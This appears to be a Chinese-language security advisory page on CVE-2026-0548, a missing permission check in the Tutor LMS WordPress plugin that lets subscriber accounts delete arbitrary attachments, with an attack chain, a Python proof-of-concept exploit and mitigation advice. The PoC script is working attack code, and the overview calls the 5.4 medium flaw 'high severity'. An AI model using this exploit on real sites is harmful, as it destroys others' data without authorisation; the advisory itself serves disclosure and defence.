IPBUF安全漏洞报告
English
CVE-2026-0548 CVSS 5.4 中危

CVE-2026-0548 Tutor LMS delete_existing_user_photo未授权附件删除漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2026-0548
漏洞类型
访问控制/权限绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tutor LMS WordPress Plugin

相关标签

访问控制绕过权限检查缺失未授权操作WordPress插件漏洞Tutor LMSCVE-2026-0548附件删除MediumCVSS 5.4

漏洞概述

CVE-2026-0548是WordPress Tutor LMS在线课程插件中的一个高危安全漏洞。该插件是WordPress平台上流行的电子学习和在线课程解决方案。漏洞源于delete_existing_user_photo函数缺少权限检查(Missing Capability Check),允许任何具有订阅者级别权限的已认证用户删除网站上的任意附件。这一漏洞存在于3.9.4及之前的所有版本。攻击者只需拥有最基本的用户账户(订阅者权限)即可利用此漏洞删除网站上的重要附件,可能导致数据丢失、网站功能受损,甚至可能被利用进行进一步的攻击。由于CVSS评分为5.4(中危),且攻击复杂度低、无需特殊条件,该漏洞在实际环境中具有较高的利用风险。

技术细节

该漏洞属于WordPress插件中常见的权限控制缺陷。在Tutor LMS插件的User.php文件中,delete_existing_user_photo函数直接处理附件删除请求,但未验证当前用户是否具有删除目标附件的权限。WordPress的capability检查机制(current_user_can())未被正确实现。攻击者可以通过构造HTTP POST请求,指定目标附件ID,调用该函数删除任意附件。漏洞利用前提条件极低:只需拥有WordPress站点的订阅者账户(最低权限级别),无需管理员权限即可实现未授权操作。攻击者可利用此漏洞删除课程资料、用户头像、系统文件等各类附件,可能造成数据破坏、业务中断等严重后果。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress站点订阅者级别账户或利用已有低权限账户登录
STEP 2
步骤2
攻击者识别目标附件ID,可通过浏览课程页面、用户资料等获取附件信息
STEP 3
步骤3
攻击者构造恶意HTTP POST请求到/admin-ajax.php,指定action为tutor_delete_existing_user_photo和目标attachment_id
STEP 4
步骤4
由于插件缺少current_user_can()权限检查,服务器直接执行删除操作
STEP 5
步骤5
目标附件被成功删除,攻击者可重复此过程删除更多附件,造成数据损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-0548 PoC - Tutor LMS Unauthorized Attachment Deletion # Affected Version: <= 3.9.4 # Authentication Required: Subscriber level or higher import requests import sys target_url = "http://target-wordpress-site.com" username = "subscriber_user" password = "user_password" # Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": f"{target_url}/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Exploit the vulnerability - Delete arbitrary attachment # Replace ATTACHMENT_ID with the target attachment ID to delete attachment_id = 123 # Target attachment ID exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { "action": "tutor_delete_existing_user_photo", "attachment_id": attachment_id } response = session.post(exploit_url, data=exploit_data) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] Attachment deletion request sent successfully") else: print("[-] Exploitation failed")

影响范围

Tutor LMS < 3.9.5 (all versions up to 3.9.4)

防御指南

临时缓解措施
如果无法立即升级,可临时采取以下措施:1) 限制新用户注册功能,防止攻击者获取订阅者账户;2) 使用Web应用防火墙(WAF)规则阻止/admin-ajax.php中对tutor_delete_existing_user_photo的请求;3) 暂时禁用Tutor LMS插件的用户照片上传功能;4) 加强用户账户管理,定期检查并清理异常账户。同时建议在非生产环境中测试升级方案,确保兼容性后再在生产环境部署。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表